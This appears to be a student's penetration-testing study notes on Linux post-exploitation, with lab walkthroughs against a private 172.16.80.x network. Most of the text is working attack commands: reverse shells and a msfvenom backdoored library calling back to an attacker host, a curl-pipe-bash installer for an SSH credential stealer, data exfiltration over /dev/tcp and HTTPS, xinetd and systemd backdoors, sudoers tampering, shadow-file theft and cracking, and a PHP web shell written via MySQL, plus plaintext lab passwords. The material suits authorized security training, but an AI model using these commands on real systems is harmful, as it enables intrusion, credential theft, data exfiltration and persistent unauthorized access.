dpkg -l
  • What versions? Are the versions installed out-of-date and vulnerable to existing available exploits?
dpkg -l
searchsploit "httpd 2.2"
  • Does any of the installed software allow us to modify their configuration files and could this result in gaining privileged access to the system?
Try and modify package configurations

Tools

  • Much of the information can be gathered through the user of automated tools
  • LinEnum = https://github.com/rebootuser/LinEnum

Extra Resources

https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
https://www.rebootuser.com/?p=1623

Netcat File Transfer

  • if wget isnt available or the connectivity to the internet is restricted
on target: nc -lp 1234 > LinEnum.sh
on kali:     nc -w 3 <target ip> 1234 < LinEnum.sh

all traffic is unencrypted and may be detected by Intrusion Detection Systems

Run LinEnum

chmod +x LinEnum.sh
./LinEnum.sh -h

Cleartext credentials in configuration files

  • Find dotfiles files with history in their names (bash_history)
find /* -name *.*history* -print 2>/dev/null
  • Grep the apache access.log file For user and pass strings
cat /var/log/apache/access.log | grep -E "^user|^pass"
  • Dump cleartext Pre-Shared Wireless Keys from Network Manager
cat /etc/NetworkManager/system-connections/* | grep -E "^id|^psk"

Command Executions Via User-Defined Functions (UDF) https://bernardodamele.blogspot.com/2009/01/command-execution-with-mysql-udf.html

Metasploit - get config files

  • Another way to download configuration files from the target system (assuming we have a shell from metasploit session) → use post/linux/gather/enum_configs

  • Another metasploit module → use post/linux/gather/enum_system

There is a lot more in > /post/linux/

SUID Binaries

  • There are several other well-known SUID root binaries, as they all require some sort of elevated permissions to perform a function, and some of the most common you will find on linux systems are:
/bin/su
/bin/mount
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/chsh

Find SUID Binaries

find / -perm -4000 -type -f 2>/dev/null

SUID Nmap –interactive Mode:

  • Older versions of Nmap contained an interactive shell, which could be launched via the –interactive switch
  • Once in interactive mode, and assuming the Nmap executable was SUID root, simply running !sh in the interactive Nmap console would land the user a root shell.

glib ‘$ORIGIN’ Expansion Privilege Escalation:

metasploit: use exploit/linux/local/glibc_origin_expansion_priv_esc moreover: http://seclists.org/fulldisclosure/2010/Oct/257

Modify the /etc/sudoers file

bob ALL=(root) NOPASSWD: /bin/less /var/log/*
bob ALL=(root) NOPASSWD: /bin/less /usr/bin/man
  • First lets examine the less program itself:
  • if we take a look at its man entry, we can see that as part of its functionality, it allows a user to execute shell commands (shell escape) with the ! Shell-Command:
  • this allows users to execute commands from inside less.
  • this will lead to !sh, inside any logs/* directories

Vi/Vim editors also allows breaking out into a shell via the !sh method or executing any shell commands For that matter.

List of common executables

less (!sh)
more (!sh)
VI/VIM (:!sh)
Nmap (--interactive + !sh)
ftp (!sh)
gdb
python
Perl
lrb
lua

Man - Arbitrary Command Execution via Pager Argument

-P = pager

// we can use the -P argument, to run a command that we want.
man -P "id" man

// if the man is allowed to execute via sudo, we can see the content of the /etc/shadow
sudo man -P "cat /etc/shadow" man

Docker Sudo Privilege Escalation

  • docker must be installed in the victim machine
  • must be defined as an entry For a user in the /etc/sudoers file // this vuln exploits Docker by compiling shellcode For a root shell within a container, sets the SUID attribute on the resulting exploit binary, and then launches a root shell. // moreover = https://github.com/pyperanger/dockerevil

Restricted Shells

  • chroot jail = its a way to isolate users and users processes from the rest of the operating system
  • rbash shell - its a common implementation of a restricted shell

rbash when combined with a chroot jail, can be rather effective; however, many times, administrators rely on rbash alone, which opens up several ways we can break out of the restricted shell.

Some of the commands that are usually restricted are:

change directories = cd
specifying absolute path names or files containing a (/) or (-)
Setting or unsetting the PATH environment variable
Using ENV or BASH_ENV For setting ot unsetting other environment variables
Using bash output redirection operators ( '>', '>>', '>|', '<>', '>&', '&>')
Disabling restricted mode using the "set+r" or "set+o restricted" commands

How to identify that you are in a Restricted Shell

  • if you try to run a common cd to change directory, and a restricted error appears
  • or you are trying to redirect the ouput of a command to a file, and the error appears.
  • we can confirm by running the command ENV, specifically the $PATH and $SHELL environment variables

How to break the restricted shells

  • we can try to use an escape command, like !sh if that binaries are allowed to run

  • with VI/VIM: open a file and then !sh

  • with find:

find /home/bob -name test -exec /bin/sh \; 

this will only work if the fil test exist in that path. if it does not, search For a known file, or create a file if needed.

  • with python, Pearl, IRB etc
python -c 'import pty; pty.spawn("/bin/sh")'
pearl -e 'exec "/bin/sh";'
  • with SSH: we can try to break the shell remotely from another system, by trying to execute a shell with SSH before the restricted shell is initialized on the target:
ssh restricted_user@targetserver -t "/bin/sh"

moreover = https://pentestmonkey.net/blog/rbash-scp

Cracking the Shadow

/etc/passwd
/etc/shadow - are directly manipulated by the /usr/bin/passwd - In current version of Linux, the hashes in the shadow file are stored as **SHA-512**, and can be recognized by the **$6$** at the beginning of the hash. - Older version may be using SHA-256 or MD5 which can be identified by **$5$** and **$1$** respectively - MD5 ($1$) - will be easiest to crack - SHA-256 ($5$) and SHA-512 ($6$) - may be a bit more difficult - In all cases, if the passwordis weak, we can likely crack it regardless of the hashing algorithm.

John The Ripper

  • copy the passwd and shadow file to kali
unshadow passwd shadow > toJohn
john toJohn --wordlist=/usr/share/wordlists/rockyou.txt

MimiPenguin

  • if cracking the root or other users password is out of the realm of possibility due to hash strength or any other reason. We can try to obtain from the machines memory using MimiPenguin
  • https://github.com/huntergregal/mimipenguin
  • just like mimikatz from windows
  • Attempts to dumo cleartext credentials from memory from the following applications: GDM password (kali, debian) Gnome keyring (ubuntu, archlinux) VSFTPd (Active FTP connections) Apache2 (Active HTTP Basic Auth Sessions) OpenSSH (Active SSH Sessions - Sudo Usage)
  • There is the sh and py versions
./mimipenguin.sh 
python ./mimipenguin.py

Pilfering Credentials From Swap Memory

swapon -s
cat /proc/swaps
  • We can use the strings command against the partitions.
strings /dev/sda5 | grep "password="
string /dev/sda5 | grep "&password="

swap_digger, which can automate searching For common sensitive strings within the swap file: https://github.com/sevagas/swap_digger

Code Execution via Shared Object Library Loading

  • Hijacking Dynamically Linked Shared Object libraries is another method we can use to obtain elevated privileges to a Linux System under certain conditions.
  • Similar to Microsoft Windows Dynamic-Link library (DLL), its the linux Equivalent
  • Providing application with functions that are called from outside of an application by referencing .so files at an applications runtime.

Two primary types of shared objects libraries

1 - Static Libraries (.a) - Code that is compiled into an application 2 - Dynamically Linked Shared Object libraries (.so) - These can either be linked to the application at runtime or loaded or unloaded and linked during an applications execution. // moreover - http://www.yolinux.com/TUTORIALS/LibraryArchives-StaticAndDynamic.html // we will focus in the second one.

When a Linux application is executed, if it uses Shared Objects, is that it will search for those:

  1. Any directories specified by -rpath-link options (RPATH)
  2. Any directories specified by -rpath options (RPATH)
  3. if the -rpath and -rpath-link options are not used, it will then search the contents of the environment variabled LD_RUN_PATH and LD_LIBRARY_PATH
  4. Directories defined in the DT_RUNPATH environment variable first, if that does not exist, then the DT_RPATH
  5. Then, the default lib directories, normally /lib and /usr/lib
  6. Finally, any directories defined in the /etc/ld.so.conf file
  • reference - https://ftp.gnu.org/old-gnu/Manuals/ld-2.9.1/html_node/ld_3.html

Determine

  1. Determine the shared objects that are being loaded by an executable
  2. Determine if the application was compiled with RPATH or RUNPATH options. If yes, can we write into the locations specified by the either of those options?

Determine the Shared Object Libraries Being loaded by an Executable

ldd /usr/local/bin/program

// what we are looking here, is to see if we can hijack any of the Shared Objects the executable is linking once we have determined if the executable was compiled with RPATH or RUNPATH options. // if so, we will be able to drop our payload in the directories defined by either of those options. // For that we can use:

objdump -x /usr/local/bin/program | grep RPATH
objdump -x /usr/local/bin/program | grep RUNPATH
  • if it was compiled with the RPATH or RUNPATH options, the objdump output will be similar to:
RPATH /tmp/program/libs
RUNPATH /tmp/program/libs

so if we know that the program executable was compiled with RPATH options pointing to /tmp/program/libs, we also know that RPATH is checked For linked Shared Objects before the /lib or /usr/lib directories, we can place our malicious .so file in the /tmp/program/libs directory, and it should be executed whenever the executable is launched.

Generate Backdoored Shared Object

msfvenom -a x64 -p linux/x64/shell_reverse_tcp LHOST=<kali ip> LPORT=<kali port> -f elf-so -o program.so

// with the above msfvenom command, we are creating a .so which is the name of one of the shared objects we know the program loads at runtime and using a stageless shell_reverse_tcp payload pointing to our attacker machine and port, where we will also setup a listener with the same payload.

Send the backdoored Shared Object to the target

python3 -m http.server 80
cd /tmp/program/libs && http://<kali ip>/program.so

Start a handler

msf:

use exploit/multi/handler
set options
run

[+] In order to the privesc work, the program must be executed by a user with higher privileges, or scheduled as part of a cron job that runs as root. etc

or we wait For the program to be launched as a user with elevated privileges or in a luck scenario, the program run as root in the cron job.

  • we could use social engineering to try and persuade an end-user to execute the program
  • Alternatively, if we are already root on the system, we can use this method as a stealthy persistence mechanism.

Kernel Exploits

// The kernel is the core of the Linux operating system. // since 1991 has grown to support routers, servers, worsktations, firewalls, mobile such as android, even PlayStation. // Being open source and with thousands of contributors and users, it makes the kernel a high-value target For zero-days or otherwise more popular and known attack vectors. // some recent examples of privesc vulns and associated exploits affecting the Linux kernel:

  • dirty cow - Existed in Kernel versions since 2.6.22 (2007) and fixed in 2016 https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails

  • Stack Clash (Multiple Distrivutions/Kernels) https://blog.qualys.com/securitylabs/2017/06/19/the-stack-clash

  • DCCP Double-Free Privilege Escalation (4.4.0 Kernel / Ubuntu) https://www.exploit-db.com/exploits/41458/

  • Race Condition Privilege Escalation (Linux Kernel < 4.10.15) https://www.exploit-db.com/exploits/43345/

Categories

  • Buffer Overflows
  • Memory Corruption
  • Denial-of-Service
  • Race Conditions

[+] Advice about exploits

  • Linux Kernel exploits For our purposes will typically either be pre-compiled ELF binaries, C source code (.c files) which we will compile ourselves, or available via exploits frameworks such as metasploit.

  • Always take precaution when compiling and executing exploit code. Go the extra mile and try to understand what the exploit is actually doing behind-the-scenes.
  • Genetally exploits originating from most frameworks, ie metasploit, are ok since many eyes review them, but take extra caution with other exploit sources.

FInding the Right Kernel Exploit

searchsploit:

searchsploit "linux kernel debian"

Linux_Exploit_Suggester: https://github.com/InteliSecureLabs/Linux_Exploit_Suggester

perl Linux_Exploit_Suggester.pl -k 2.6.38
-k <version> = kernel version of the target
or we can execute directly in the target without the -k switch
  • Once we have identified several kernel exploits that are valid For our targets kernel version, we can move onto downloading the source code to the target.
  • Many require parameters that we will need to suply to the exploit command line in onder to get them working.

Compiling Exploit Code

  • one requirement, is that GNU C/C++ Compiler is installed on the target
  • we can determine this by running gcc –version on the target system.
gcc exploit.c -o exploit
chmod +x exploit
./exploit
  • if we need to compile to a 32bit architecture and the target does not have gcc, we can compile in our machine and specify the -m32 flag to gcc.
gcc -m32 exploit.c -o exploit

Metasploit Kernel Exploits

use exploit/linux/local/… metasploit has a lot of options

// lets image the scenario when we have a regular shell low privilege user. example:

use exploit/linux/local/udev_netlink
set sessions <>
run

Kernelpop

https://github.com/spencerdodd/kernelpop
  • In addition to Metasploit and Searchsploit, we have a relatively new exploit framework designed For Linux and Max targets known as Kernelpop.

Extra resources

https://github.com/SecWiki/linux-kernel-exploits
http://exploit-db.com/
https://github.com/lucyoa/kernel-exploits

Unix Socket Exploitation

  • The easiest to follow example on how to leverage an insufficiently secured Unix socket is Docker.
  • The docker daemon bind to a unix socket instead of a TCP port.
  • by default, that Unix Socket is owned by the user root; additionally, the docker always runs as the root user.

// lets suppose that the low priv user has access to the docker command, or he is part of docker group. // and the docker unix socket is not protected by implementing the appropriate permissions.

docker run /etc/shadow:/docker/hashedpasswords -d postgres
docker exec -ti {Container ID} bash
cat /docker/hashedpasswords > /docker/test.txt
chmod 777 /docker/test.txt
cat /docker/test.txt

two examples

  • https://www.exploit-db.com/exploits/40962/
  • https://github.com/rapid7/metasploit-framework/pull/9408/files

Tools and Resources

  • LinEnum - https://github.com/rebootuser/LinEnum
  • LinuxPrivChecker - https://github.com/sleventyeleven/linuxprivchecker
  • Unix-Privesc-Check - https://github.com/pentestmonkey/unix-privesc-check
  • Linux Exploit Suggester - https://github.com/InteliSecureLabs/Linux_Exploit_Suggester
  • Searchsploit - https://www.exploit-db.com/searchsploit/
  • Kernelpop - https://github.com/spencerdodd/kernelpop
  • Basic Linux Privesc - https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
  • Linux Post-Exploitation Command list - https://github.com/mubix/post-exploitation/wiki/Linux-Post-Exploitation-Command-List

Lateral Movement

  • involves moving throughout the target organization from machine to machine, server to server using credentials we obtain through other phases, and further strengthening our foothold within the target infrastructure to the ultimate objective which is defined by the customer.

SSH HIjacking

https://attack.mitre.org/wiki/Technique/T1184
  • In order For this method to be successful, the compromised machine should have an active SSH session established to another machine via Public Key Authentication.
  • if we are root, its possible to compromise the SSH agent or access the SSH agents unix domain socket and hijack the connection.
  • the ssh-agent creates a unix domain socket, and then listens For connections from the sshd daemon to this socket.
  • the protection of the socket relies on simple unix permission, that means any authentication keys that are used with that socket can be retrieved by any user who can connect to the socket itself.
  • moreover = https://www.symantec.com/connect/articles/ssh-and-ssh-agent

how to attack

  1. We first determine the SSH process ID of the user on the compromised host
    ps aux | grep sshd
    
  2. We determine the SSH_AUTH_SOCK environment variable For the sshd PID
    grep SSH_AUTH_SOCK /proc/<PID>/environ
    
  3. Hijack the targets ssh-agent socket
    SSH_AUTH_SOCK=/tmp/ssh-XXXXXXX/agent.XXXX ssh-add -l
    
  4. Log into the remote system our victim is logged into as the target
    ssh remotesystem -l victim 
    
    • https://xorl.wordpress.com/2018/02/04/ssh-hijacking-for-lateral-movement/

if you have root access and want to discover more credentials

  • To steal SSH credentials we can use a malicious PAM module → https://mthbernardes.github.io/persistence/2018/02/10/stealing-ssh-credentials-another-approach.html?lipi=urn:li:page:d_flagship3_feed;6EEiLAg8RlyAOl67hZyVRA==
  • Through this malicious PAM module, every SSH connection attempt will be forwarded to a server under your control, accompanied by the credentials used For this connection attempt.

on kali:

git clone https://github.com/mthbernardes/sshLooter
cd sshLooter
   // host and edit intall.sh and looter.py poiting the url variable to a server under your control, that can log POST request.

on the compromised machine:

curl http://<kali ip>:8000/install.sh | bash

// you can now try the captured credentials against other identified machines in the network!

Samba Secrets to Domain Admin

  • when a new Samba user is created, this information is usually stored in what is known as the secrets.tdb file
  • In Samba version 4.7.4 on Debian, the secrets.tdb file is stored in the /var/lib/samba/private directory
  • if we are root:
tdbdump /var/lib/samba/private/secrets.tdb

// we can see which domain the machine is from // and that one of the data fields contains encoded data that decodes to the NTLM hash

  • Assuming the Samba server has a valid trust relationship with an Active DIrectory domain, we can decode the results of the tdbdump UTF8 encoded “data” fields to obtain the NTLM hash For the Samba computer account and ultimately pass-the-hash to AD using pth-smbclient

    → https://github.com/byt3bl33d3r/pth-toolkit

// going from Samba server to AD as a computer account → https://medium.com/@br4nsh/from-linux-to-ad-10efb529fae9

VPNPivot

  • creates a VPN tunnel between the attacker and compromised Linux host, and allows pivoting to other hosts internally within an organization that may be behind firewalls, NAT configurations, etc → https://github.com/0x36/VPNPivot
./autogen.sh
./configure
make && make install

Dumping Stored Firefox Credentials

  • Firefox when launched For the first time, creates a default profile For the user
  • /home/user/.mozilla/firefox and is a folder which is created with a random alphanumeric value and a .default string appended
  • These saved browser passwords are stored in the randomly named profile folder, in a file called logins.json, and can be dumped using a tool known as firefox_decrypt.py
  • https://github.com/unode/firefox_decrypt/blob/master/firefox_decrypt.py
  • We can copy the script and transfer to the target machine
  • and run:
python firefox_decrypt.py

this tool will only work if the Master Password has not been set.

Data Exfiltration

  • Some customers will want to include the simulation of an Advanced Persistent Threat (APT)
  • Once we have been able to obtain sensitive information or reach the objectives of the customer requirements, our goal with data exfiltration is to attempt to move the data we have acquired securely outside of the organization infrastructure to our attacker-controlled systems.

Exfil over TCP Socket with EBCDIC and Base64

  • Creating a local TCP socket on the target system which points to our attacker machine while we configure a netcat listener to receive the data.
  • we will tar (archive) the data, encode it with Base64 and EBCDIC (Extended Binary Coded Decimal Interchange Code) encodings and ship the archive to our attacker system over a TCP socket in order to better obfuscate our traffic.

Steps

  1. Netcat handler
    nc -lvnp 80 > datafolder.tmp
    
  2. encode and redirect the data over a local TCP socket
    tar zcf - /tmp/datafolder | base64 | dd conv=ebcdic > /dev/tcp/<kali ip>/80
    
  3. decode the received datafolder.tmp
    dd conv=ascii if=datafolder.tmp | base64 -d > datafolder.tar
    
  4. Extract our tar archive
    tar xf datafolder.tar
    

Exfil over SSH

  1. tar the contents and send to the output over SSH
    tar zcf - /tmp/datafolder | ssh root@<kali ip> "cd /tmp; tar zxpf -"
    
  2. on kali, the data is already untared and in our /tmp/datafolder. We can simply browse to the /tmp/datafolder and view our data.

// For extra stealthiness, we should configure our SSH server on port 80 For instance. // Just in case the customer is monitoring For SSH traffic over the standard port 22.

Exfil via POST Request over HTTPS

  • we can transfer data over HTTPS/SSL, helping us evade heuristics detection over an encrypted channel.
  • with this method, we POST base64 encoded data over HTTPS to a PHP-based web server that is under our control. This method assumes you have a webserver that is PHP-enabled, and that you have an SSL certificate installed.
  1. create a PHP file that will write data being received as a POST request
    <?php file_put_contents('/tmp/datafolder.base64', file_get_contents('php://input')); ?>
    
  2. curl to send a POST request consisting of the tared and base64-encoded data from the victims /tmp/datafolder directory. We send that POST request to our attacker-controlled PHP web servers contact.php file over SSL which will write a copy of the base64-encoded tar archive to a /tmp/datafolder.base64 file on our attacker system
    curl --data "(tar zcf - /tmp/datafolder | base64)" https://<kali ip>/contact.php
    
  3. decode the data while redirecting the output to a datafolder.tar archive, and extract
    cat /tmp/datafolder.base64 | base64 -d > datafolder.tar && tar xf datafolder.tar
    

Maintaning Access & Persistence

  • All of the methods we will cover take advantage of utilities that are already installed on a target Linux machine. The less we need to bring to a machine, the better.
  • This reduces our footprint on a compromised host and leaves less of a trail.

Reverse Shells

  • Are connections that are initiated from a compromised host and connect back to an attacker Command and Control (C2) or in simpler scenarios, to a basic listener service.
  • We need to find new ways to create connections back using lesser-known methods or methods that might not be necessarily expected.

OpenSSL Reverse Shell

  • OpenSSL client and server-based technique in conjunction with what are known as mkfifo names pipes.
mkfifo named pipe creates a named instance (a file) of a series of piped commands, as a file on the filesystem, which can be referenced and used to redirect (<>) output to and from the named pipe (file).

Understanding the Mkfifo process

mkfifo a_pipe
gzip -9 -c < a_pipe > out.gz &
cat /etc/passwd > a_pipe
gunzip out.gz
cat out
  • create our pipe (a_pipe)
  • create a gzip process which our pipe will listen For input from, and when input is received, will redirect it to a file called out.gz. We run it as a background process (&)
  • cat the passwd file and redirect the output to out a_pipe which creates an out.gz file containing out catd content.
  • extract our out.gz file, and we can see that the out contents contained the results of out cat /etc/passwd command.

back to the OpenSSL Reverse Shell

  • Generate an SSL certificate key pair For our listener on the attacker machine
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

// this will create two files key.pem and cert.pem. For our listener.

  • start our listener using openssl
openssl s_server -quit -key key.pem -cert cert.pem -port 443
  • on the target, create mkfifo named pipe that will connect back to our attacker (over SSL)
mkfifo /tmp/x; /bin/sh -i < /tmp/x 2>&1 | openssl s_client -quiet -connect <kali ip>:443 > /tmp/x; rm /tmp/x

ICMP Reverse Shell

  • can be accomplished with a tool known as icmpsh → https://inquisb.github.io/icmpsh/
  • its based on a master/slave setup and will initiate reverse shells to an attacker system using ICMP packets.

Reverse Shell Resources [+]

→ http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet → https://highon.coffee/blog/reverse-shell-cheat-sheet/

Staged vs Stageless Payloads

→ https://github.com/rapid7/metasploit-framework/issues/7297

  • Stageless payloads are typically larger in size that the standard staged payloads, the primary reason being that they include the payload within the binary, rather than being pushed to the target system via the handler once a connection is established.

  • stageless payloads use an _ in their name as can be seen above.
  • example:
windows/meterpreter/reverse_tcp > staged
windows/meterpreter_reverse_tcp > stageless

→ moreover: http://buffered.io/posts/staged-vs-stageless-handlers/

Xinetd UDP Portknock Backdoor

  • The built-in xinetd daemon, which is used to manage network-based services on Linux Systems.
  • Xinetd listens For incoming requests to ports we can define, and when a specific request is received, we can have it execute a command of our choosing.
  • We create a xinetd service, that listens on UDP port, which we can send a single packet
  • Once the packet is received to the port we define, it will initiate a netcat reverse shell back to our attacker system.
  • We are calling it a UDP port-knock backdoor because once we knock on our UDP port, it gives us an immediate reverse shell.
  • it will persiste across reboots

Steps

  1. on the target, create a custom xinetd service. run the bash script https://gist.github.com/anonymous/3cb8e474b6bb3fd3787bda1e1a55cf56
  • make sure to modify the attacker ip and attacker port strings.
  • the script, when executed, will create a new xinetd service called services-udp. The services-udp custom service will be configured to listen on port 65534 UDP on the target machine.
  • its also required that netcat is on the target in the usual /bin/ directory. It will copy the nc executable to a file called /bin/services-udp.
  • We are obscuring netcat as another file in this case.
  1. on kali, start a handler with the same port defined in the xinetd script.
    nc -lvnp 4444
    
  2. We will use a tool called hping3 to send a single UDP packet to port 65534 on the target host, the services-udp netcat binary will be triggered and send us a reverse shell. The hping command we will use is:
    hping3 -2 -c 1 <target ip> -p 65534
    

    // https://tools.kali.org/information-gathering/hping3

Systemd Netcat Bind Shell

  • it will also persist through reboots
  • Systemd is used to launch services and processes and system startup.
  • similar to Xinetd backdoor, but this one will create a bind shell, rather than a reverse shell
  1. on the target, copy the /bin/nc to /lib/systemd directory as systemd-service
    cp /bin/nc /lib/systemd/systemd-service
    
  2. on the target, create a file called /lib/systemd/system/systemd.service:
    [Unit]
    Description = Systemd Service
    After = network.target
    [Service]
    ExecStart = /lib/systemd/systemd-service -lvp 56825 -e /bin/sh
    [Install]
    WantedBy = multi-user.target
    

// the above systemd service config will create a bind shell on port 56825 TCP

  1. enable and start the Systemd Netcat Bind Shell Service:
    systemctl enable systemd.service
    symtemctl start systemd.service
    
  2. confirm if that port For our custom service is listening on the target:
    netstat -auntp | grep 56825
    
  3. from kali, connect to the port
    nc <target ip> 56825
    

    it will persist on reboots and will be listed as systemd-service if listing processes

Lab 3 - Remote and Post Exploitation

Netblock: 172.16.80.1/24 domain: robotstogo.localdomai

ip: 172.16.80.7

172.16.80.22 172.16.80.24 172.16.80.27 172.16.80.26

Task1

Unauthenticated backdoor

  • 172.16.80.27

Scan the ports

nmap -sS 172.16.80.27 -p-

60666/tcp open unknown

connect to the uncommon port

nc 172.16.80.27 60666
- listening on [any] 60667 = it appears that it has a backdoor in the 60667 port, lets connect 
nc 172.16.80.27 60667
// we have user access

get a better shell with python

python -c "import pty; pty.spawn('/bin/bash')"
export TERM=xterm

check if the user can run any program as root

sudo -l
/bin/nano /home/*/*/readme.txt

// it seems that we can run nano with root privileges in that specific folder // the file does not exist, so lets create it

create the file

cd /home/<user> && mkdir foo && cd foo
ls -s /etc/shadow readme.txt

this will create a symbolic link to the /etc/shadow file

ls -als

grab the file as root

sudo /bin/nano /home/<user>/foo/readme.txt

// this will open the /etc/shadow file // now we can grab to decode or pass the hash, whatever // there is endless possibilities

enum the Samba

enum4linux -a 172.16.80.27

// we discovered here, a lot of users // save these users into a file users.txt // then lets try to log with rockyou.txt For passwords

hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ssh://172.16.80.27
// this will take a time, and i dont like to wait too much
// the solution says that we can use james user and grab the first 500 entries from rockyou.txt
head -n 500 /usr/share/wordlists/rockyou.txt > top-500.txt
hydra -l james -P top-500.txt ssh://172.16.80.27
// 5 minutes later, we have the password
[22][ssh] host: 172.16.80.27   login: james   password: 159357

log with SSH and execute sudo -l to see the possibilities

(root) /usr/sbin/tcpdump - we have tcpdump access

// we can search in GTFObins // there is something we can use

→ https://gtfobins.github.io/gtfobins/tcpdump/

from gtdobins


COMMAND='id'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root

the solution gave this alternative, both works great


$ cat > /tmp/elevate
#!/bin/bash
echo "james ALL=(root) NOPASSWD: ALL" >> /etc/sudoers

chmod +x /tmp/elevate

sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/elevate -Z root
sudo bash

Share enumeration

python3 smbmap.py -H 172.16.80.27

// found the web share with READ/WRITE permissions

Alternatively,

nmap --script smb-enum-shares 172.16.80.27

Access that share

smbclient -N \\\\172.16.80.27\\web -U ""
ls

// lets upload a perl reverse shell // Kalis location: /usr/share/webshells/perl/perl-reverse-shell.pl // remember to change the ip address of the attacker (kali ip)

put perl-reverse-shell.pl

open a listener

nv -lvnp 1234
 open the file in the browser

we have a shell as www-data

172.16.80.22

  • This scan took so long, that I lost all my will.
  • anyway, there is a RMI Registry service listening on a non-standard port of 1999
  • research on google. Its vulnerable to arbitrary loading of java classes

msf:

use expĺoit/multi/misc/java_rmi_server
set options
run
// we have a shell as todd - a low level user

lets enter in the session

session -i 1
shell
uname -a
// to grab the kernel version
// we can also excute python pty and xterm to get a better shell
kernel version: 2.6.24-16

// https://www.exploit-db.com/exploits/21848/ // its potentially vulnerable to a udev exploit

msf in action

use exploi	t/linux/local/udev_netlink
set session 1
set other options
run
// we have shell with root access

Exploiting Samba server

lets go back as user todd
smbd --version

// Samba version: 3.0.20-Debian // look into the /etc/samba/smb.conf // We find that its configured with an option that allows reading of the root file system via Symlink Directory Traversal Vulnerability, specifically, the wide links=yes option.

we can use a msf module to exploit that

exploit with msf

msf:

use auxiliary/admin/smb/samba_symlink_traversal
set rhost 172.16.80.22
set smbshare tmp
run

Now access the following share to browser the root filesystem: \mercury\tmp\rootfs

access the share

smbclient -N \\\\172.16.80.22\\tmp -U ""
 // we should get access
cd rootfs
ls
cd etc
get passwd
// its done

Remotely exploitable vulnerability on a web server port.

  • open the browser on port 80

  • lets run dirsearch, to find any web directories

./dirsearch.py -u http://172.16.80.22/ -e cgi -r -f
   // -r = recursive // -f = force // -e = extension
   /cgi-bin/calender.cgi

msf again

// knowing that CGI programs, in particular, are of primary concern in regards to shellshock vulnerabilities, we use metasploit apache_mod_cgi_bash_env module to check For exploitability, making sure to configure the correct options, including the TARGETURI value:

use auxiliary/scanner/http/apache_mod_cgi_bash_env

set options
set targeturi cgi-bin/calendar.cgi
set cmd "/bin/nc <attacker_IP> 1234 -e /bin/sh"

open a listener and run, we have a shell as www-data

upgrade the shell as usual

python -c 'import pty; pty.spawn("/bin/sh")'
export TERM=xterm

search For SUID root executables

find / -perm -4000 2>/dev/null

// we found that nmap is available

nmap --interactive
!sh

we have root access

Lab 4 - Linux Exploitation - Lateral Movement

Netblock: 172.16.80.1/24

Domain: robotstogo.localdomain

Enumerate NFS shares

nmap --script nfs-ls 172.16.80.27

Crack the .zip password

fcrackzip -v -D -u -p /usr/share/wordlists/rockyou.txt backup.zip 
  • found file notes.txt, (size cp/uc 69/ 57, flags 9, chk a1f0)
  • checking pw KAWANNAT
PASSWORD FOUND!!!!: pw == "====0open/n"

open the zip file with the password

unzip -P '====0open/n' backup.zip 
	TEMP MGMT CONSOLE:
	https://172.16.80.24:4433/xl0827_dev_

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ATTACKER_IP>",<ATTACKER_PORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

username=tomcatadmin&pw=0x19$2B7!
amanda: M@ndy857#

Find SUID files

  • we can execute catme as root
  • so we will copy the /etc/passwd and /etc/shadow to our machine

cracking

unshadow passwd shadow > forJohn
john forJohn -w=/usr/share/wordlists/rockyou.txt
james:159357
damien:secuirty3

btw, rockyou did not have this password, thats a bold move ma boi my fasttrack is not working, so i could not crack with rockyou

// now we can log into 172.61.80.27 via SSH with damien access // damien has root access, so with a simple sudo bash we are root

cat /home/auditor/.bash_history
run autoroute -s 192.3.178.0/24
portfwd add -l 1234 -p 80 -r 192.3.178.3
portfwd list
mysql -h 192.3.178.3 -u root -pfArFLP29UySm4bZj
SELECT '<?php echo system($_GET["cmd"]); ?>' into DUMPFILE '/var/www/html/webtemp/backdoor.php';

→ http://localhost:1234/webtemp/backdoor.php?cmd=whoami